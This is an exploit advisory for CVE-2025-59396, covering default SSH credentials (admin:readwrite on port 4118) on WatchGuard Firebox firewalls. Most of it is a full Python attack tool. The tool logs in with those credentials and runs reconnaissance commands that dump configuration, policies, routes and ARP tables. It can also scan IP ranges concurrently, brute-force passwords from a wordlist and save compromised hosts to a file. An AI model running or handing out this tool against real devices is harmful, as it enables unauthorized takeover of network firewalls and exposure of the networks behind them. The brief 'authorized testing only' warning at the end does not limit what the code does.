============================================================================================================================================= | # Title : WatchGuard Firebox Default SSH Credentials | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.watchguard.com/wgrd-products/firewalls | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/211136/ & CVE-2025-59396 [+] Summary : A Python tool to detect CVE-2025-59396 vulnerability in WatchGuard Firebox devices that allows unauthorized access via default credentials (admin:readwrite) on port 4118. The issue affects WatchGuard Firebox firewall devices running Fireware OS.It is not tied to a specific software version, but to unsafe default settings: SSH is open on port 4118 Default username: admin Default password: readwrite Any Firebox device left with these default credentials is considered vulnerable. WatchGuard Firebox is vulnerable if default SSH credentials (admin/readwrite) are not changed. [+] POC : pip install paramiko Test single host python3 watchguard_exploit.py 192.168.1.1 Scan IP range python3 watchguard_exploit.py -r 192.168.1.1-192.168.1.254 Test multiple hosts from file python3 watchguard_exploit.py -f targets.txt Brute force with wordlist python3 watchguard_exploit.py -u admin -w passwords.txt 192.168.1.1 Quiet mode with output file python3 watchguard_exploit.py -f targets.txt -q -o vulnerable.txt =========================== #!/usr/bin/env python3 """ Exploit for CVE-2025-59396 - WatchGuard Firebox Default SSH Credentials Author: indoushka """ import paramiko import sys import socket import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def exploit_watchguard(target_ip, port=4118, username='admin', password='readwrite', verbose=True): """ Test for CVE-2025-59396 vulnerability on a WatchGuard Firebox device Args: target_ip (str): Target IP address port (int): SSH port (default: 4118) username (str): Username to test (default: admin) password (str): Password to test (default: readwrite) verbose (bool): Print verbose output Returns: bool: True if vulnerable, False otherwise dict: Device info if vulnerable """ try: if verbose: print(f"[*] Attempting to connect to {target_ip}:{port}...") # Create SSH client ssh_client = paramiko.SSHClient() ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt connection with default credentials ssh_client.connect( hostname=target_ip, port=port, username=username, password=password, timeout=10, banner_timeout=15, look_for_keys=False, allow_agent=False ) if verbose: print(f"[+] SUCCESS! Connected to {target_ip}:{port}") print(f"[+] Credentials: {username}:{password}") print(f"[+] Device is vulnerable to CVE-2025-59396") # Collect device information device_info = { 'ip': target_ip, 'vulnerable': True, 'credentials': f"{username}:{password}", 'version': None, 'model': None, 'hostname': None } # Get basic device info try: # Get device version stdin, stdout, stderr = ssh_client.exec_command('show version') version_output = stdout.read().decode('utf-8', errors='ignore') if verbose and version_output: print(f"\n[+] Device Information:") print("-" * 50) print(version_output) print("-" * 50) # Extract version from output device_info['version'] = version_output.split('\n')[0] if version_output else "Unknown" # Get hostname stdin, stdout, stderr = ssh_client.exec_command('show hostname') hostname_output = stdout.read().decode('utf-8', errors='ignore').strip() device_info['hostname'] = hostname_output if hostname_output else "Unknown" # Get system status stdin, stdout, stderr = ssh_client.exec_command('show system') system_output = stdout.read().decode('utf-8', errors='ignore') except Exception as e: if verbose: print(f"[-] Could not retrieve device info: {e}") # Example reconnaissance commands (for authorized testing only) if verbose: print(f"\n[*] Running reconnaissance commands...") recon_commands = [ 'show arp', 'show interface', 'show policy', 'show route', 'show configuration brief', ] for cmd in recon_commands: try: stdin, stdout, stderr = ssh_client.exec_command(cmd, timeout=3) result = stdout.read().decode('utf-8', errors='ignore') if result and len(result) > 10: # Only show if we got meaningful output print(f"\n[+] Command: {cmd}") print("-" * 30) # Show first few lines of output lines = result.split('\n')[:5] for line in lines: if line.strip(): print(f" {line}") if len(result.split('\n')) > 5: print(f" ... (output truncated)") print("-" * 30) except Exception as e: if verbose: print(f"[-] Command '{cmd}' failed: {e}") ssh_client.close() if verbose: print(f"\n[+] Exploit completed successfully!") print(f"[+] Device {target_ip} is fully compromised") return True, device_info except paramiko.AuthenticationException: if verbose: print(f"[-] Authentication failed for {target_ip}") return False, None except paramiko.SSHException as ssh_err: if verbose: print(f"[-] SSH error on {target_ip}: {ssh_err}") return False, None except socket.timeout: if verbose: print(f"[-] Connection timeout for {target_ip}") return False, None except socket.error as sock_err: if verbose: print(f"[-] Connection error to {target_ip}: {sock_err}") return False, None except Exception as e: if verbose: print(f"[-] Unexpected error with {target_ip}: {e}") return False, None def scan_network(network_range, ports=[4118], max_workers=10): """ Scan a network range for vulnerable WatchGuard devices Args: network_range (list): List of IP addresses to scan ports (list): List of ports to check max_workers (int): Maximum number of concurrent threads Returns: list: List of vulnerable devices """ print(f"[*] Starting network scan for {len(network_range)} hosts...") print(f"[*] Checking port(s): {ports}") vulnerable_devices = [] def check_host(host): for port in ports: try: # First check if port is open sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) result = sock.connect_ex((host, port)) sock.close() if result == 0: print(f"[+] Port {port} open on {host}") # Test for vulnerability vulnerable, info = exploit_watchguard(host, port, verbose=False) if vulnerable: print(f"[!] VULNERABLE: {host}:{port}") vulnerable_devices.append(info) return host except: pass return None # Scan hosts concurrently with ThreadPoolExecutor(max_workers=max_workers) as executor: futures = {executor.submit(check_host, host): host for host in network_range} for future in as_completed(futures): host = futures[future] try: result = future.result() if result: print(f"[+] Found vulnerable device: {result}") except Exception as e: print(f"[-] Error scanning {host}: {e}") return vulnerable_devices def generate_ip_range(start_ip, end_ip): """ Generate a list of IP addresses from start to end Args: start_ip (str): Starting IP address end_ip (str): Ending IP address Returns: list: List of IP addresses """ import ipaddress start = int(ipaddress.IPv4Address(start_ip)) end = int(ipaddress.IPv4Address(end_ip)) return [str(ipaddress.IPv4Address(ip)) for ip in range(start, end + 1)] def banner(): print(""" ╔══════════════════════════════════════════════════════════╗ ║ CVE-2025-59396 - WatchGuard Firebox Exploit ║ ║ Default SSH Credentials: admin:readwrite ║ ║ Port:4118 ║ ║ indoushka ║ ╚══════════════════════════════════════════════════════════╝ """) def main(): banner() parser = argparse.ArgumentParser( description='CVE-2025-59396 - WatchGuard Firebox Default SSH Credentials Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s 192.168.1.1 # Test single host %(prog)s -f targets.txt # Test multiple hosts from file %(prog)s -r 192.168.1.1-192.168.1.254 # Scan IP range %(prog)s -p 4118,22 192.168.1.1 # Test multiple ports %(prog)s -u admin -P pass.txt 192.168.1.1 # Brute force credentials """ ) parser.add_argument('target', nargs='?', help='Target IP address') parser.add_argument('-f', '--file', help='File containing list of targets') parser.add_argument('-r', '--range', help='IP range (e.g., 192.168.1.1-192.168.1.254)') parser.add_argument('-p', '--port', default='4118', help='Port(s) to test (comma-separated)') parser.add_argument('-u', '--username', default='admin', help='Username to test') parser.add_argument('-w', '--wordlist', help='Password wordlist file') parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads') parser.add_argument('-o', '--output', help='Output file for vulnerable hosts') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode') args = parser.parse_args() # Parse ports ports = [int(p.strip()) for p in args.port.split(',')] # Collect targets targets = [] if args.file: try: with open(args.file, 'r') as f: for line in f: target = line.strip() if target and not target.startswith('#'): targets.append(target) print(f"[*] Loaded {len(targets)} targets from {args.file}") except FileNotFoundError: print(f"[-] File not found: {args.file}") return elif args.range: try: start_ip, end_ip = args.range.split('-') targets = generate_ip_range(start_ip, end_ip) print(f"[*] Generated {len(targets)} IPs in range {args.range}") except ValueError: print("[-] Invalid IP range format. Use: 192.168.1.1-192.168.1.254") return elif args.target: targets = [args.target] else: parser.print_help() return # Test targets vulnerable_hosts = [] for target in targets: print(f"\n[*] Testing {target}...") if args.wordlist: # Password brute force mode try: with open(args.wordlist, 'r') as f: passwords = [line.strip() for line in f if line.strip()] print(f"[*] Testing {len(passwords)} passwords from {args.wordlist}") for password in passwords: vulnerable, info = exploit_watchguard( target, ports[0], args.username, password, verbose=False ) if vulnerable: print(f"[!] CRACKED: {target}:{args.username}:{password}") vulnerable_hosts.append(info) break else: if not args.quiet: print(f"[-] Failed: {password}") except FileNotFoundError: print(f"[-] Wordlist not found: {args.wordlist}") else: # Default credentials test for port in ports: vulnerable, info = exploit_watchguard( target, port, args.username, 'readwrite', verbose=not args.quiet ) if vulnerable: vulnerable_hosts.append(info) break # Print summary print(f"\n" + "="*60) print(f"[*] SCAN SUMMARY") print(f"="*60) print(f"[*] Targets tested: {len(targets)}") print(f"[*] Vulnerable hosts found: {len(vulnerable_hosts)}") if vulnerable_hosts: print(f"\n[!] VULNERABLE HOSTS:") for i, host in enumerate(vulnerable_hosts, 1): print(f" {i}. {host['ip']}:{ports[0]} - {host.get('version', 'Unknown')}") # Save to output file if args.output: try: with open(args.output, 'w') as f: for host in vulnerable_hosts: f.write(f"{host['ip']}:{ports[0]}\n") print(f"[+] Vulnerable hosts saved to {args.output}") except Exception as e: print(f"[-] Failed to save output: {e}") print(f"\n[!] WARNING: This tool is for authorized security testing only!") print(f"[!] Unauthorized use is illegal and unethical.") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n[-] Scan interrupted by user") sys.exit(0) except Exception as e: print(f"[-] Fatal error: {e}") sys.exit(1) Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================